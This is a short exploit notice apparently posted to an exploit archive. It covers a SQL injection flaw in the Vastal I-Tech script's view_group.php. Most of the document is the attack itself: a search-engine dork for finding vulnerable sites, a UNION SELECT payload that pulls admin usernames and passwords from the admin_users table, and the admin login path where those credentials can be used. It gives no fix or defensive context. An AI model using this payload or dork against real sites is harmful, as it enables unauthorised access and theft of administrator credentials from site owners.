27 lines
No EOL
779 B
Text
27 lines
No EOL
779 B
Text
#######################################################
|
|
# IN THE NAME OF GOD
|
|
#
|
|
# Vastal I-Tech SQL Injection Vulnerability
|
|
#
|
|
# Author : HELLBOY
|
|
#
|
|
# Tested on Lunix
|
|
#
|
|
# CVE : N/A
|
|
#
|
|
# Email : A68.HELLBOY@GMAIL.COM
|
|
#
|
|
# Dork : inurl:"view_group.php?group_id="
|
|
########################################################
|
|
# Exploit :
|
|
# http://[site]/view_group.php?group_id={SQLI}
|
|
#
|
|
# EXAM: -1+union+select+group_concat(admin_user,0x3a,admin_password)+from+admin_users--
|
|
#
|
|
# Admin login :
|
|
# http://www.[sitename].com/admin/
|
|
#########################################################
|
|
# Greetz :
|
|
# All members of the Forum WwW.ASHIYANE.ORG & WwW.pars-p30.iR
|
|
#
|
|
######################################################### |